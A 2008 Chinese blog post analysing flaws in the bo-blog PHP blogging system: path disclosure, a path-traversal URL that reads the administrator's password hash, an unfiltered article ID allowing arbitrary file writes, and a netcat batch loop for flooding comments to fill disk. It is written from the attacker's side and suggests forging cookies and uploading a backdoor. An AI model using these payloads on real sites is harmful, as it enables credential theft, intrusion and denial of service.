Chinaunix首页 | 论坛 | 博客
  • 博客访问: 15178849
  • 博文数量: 7460
  • 博客积分: 10434
  • 博客等级: 上将
  • 技术积分: 78178
  • 用 户 组: 普通用户
  • 注册时间: 2008-03-02 22:54
文章分类

全部博文(7460)

文章存档

2011年(1)

2009年(669)

2008年(6790)

分类: 网络与安全

2008-05-31 17:39:12

bo-blog是一款外观好看,而且当前流行的个人博客系统,在很多下载站你都可以找到这套程序,而且甚至有很多安全界的人都使用着这套php+txt的程序,但是这套程序里有些安全隐患,可能会被人利用去做一些破坏。

首先开门见山,我们说说它的绝对路径暴露问题.........

只要提交地址:_blank>http://localhost/blog/index.php?m=2&y=/2005

就可以得到程序所在绝对路径!

这是php中很经常出现的问题!

现在我们在来看一段代码,这是showcat.php里的内容!

if (!file_exists("$dirblog/$cat.php")) {

wronginfo($langerrornocat);

}

unset ($allfiles);

$allfiles=@file("$dirblog/$cat.php");

看到了没有?他直接把cat.php没有处理就拿出来用了,而它又是怎么处理他拿出来的数据的呢?

for ($i=$start; $i<$end;$i++) {

$latest=explode("|",$allfiles[$i]);

$articleid=$latest[1];

$articlename=$latest[2];

$latest[3]=mktimezone($latest[3]);

$showtime=date("Y-n-j",$latest[3]);

这样,它将$cat提交来的文件打开,读出来,但是以|为分隔读出文件内容,因为以|读出文件内容却是从1开始的,所以我们读不出其他的文件,我们只能读文件里有|的文件的第一个|后面的数据。也就是说,假设我们知道用户所在目录的话,我们就可以提交_blank>http://localhost/blog/index.php?job=showcat&cat=../saiy/userid

便可以得到管理员的密码散列。

然后伪造cookies登陆,直接可以传后门了。但是前提是要知道目录名,所以这只限制于目录名了,但是假设对方站点上有其他的php+文本的程序,我们可以利用此文件读出隐秘内容。

我们再来说第二个问题,回复评论未限制时间,大家大概觉得这不算什么问题吧,看完代码不知道你还会这么想吗?

$replyauthor=safe_convert($replyauthor);

$remreplyauthor=$replyauthor;

if ($replyemail!="")     $replyauthor.="胃胃".safe_convert($replyemail);

$replycontent=safe_convert($replycontent);

$simplecontent=preg_replace("/\[(.+?)\]/is", "", $replycontent);

$simplecontent=preg_replace("/<(.+?)>/is", "", $simplecontent);

$simplecontent=preg_replace("/&(.+?);/is", "", $simplecontent);

$curexcerpt=msubstr($simplecontent,0,20);

$timestamp=time();

$areply=@readfromfile("$dirblog/$articleid.rpl");

writetofile("$dirblog/$articleid.rpl",$replycontent."\n|rep|\n".$areply);

writetofile("$dirblog/list.php",$all1);

updaterenum(1);

看到没有?居然也没对$articleid做过滤,大家觉得吓人吗?哦?你们觉得不怎么样?恐怕不好玩?我改改你再看看。

writetofile("$dirblog/C:\winnt\system32\hacker.rpl",$replycontent."\n|rep|\n".$areply);

呼,这样我们把一个垃圾文件写到系统目录下了。要么,写到管理员启动目录?一个N大无比的文本文件。

只要我们不停的提交数据,则不断的把文件写入了,假设你手头没有工具可以帮你提交,我教你个简单的,利用NC的方法!

首先,抓取你发表评论的包,存在NC所在目录下,命名为test.txt。这个大家都会做吧~~

再建立一个bat,命名为test.bat内容为:

nc 80
cls

test.bat

呵呵,运行这个.bat文件它就会不停的发送评论了,开两个就是两个线程哦 o
阅读(1009) | 评论(0) | 转发(0) |
0

上一篇:动易4.03上传漏洞

下一篇:PHP注射一路小跑

给主人留下些什么吧!~~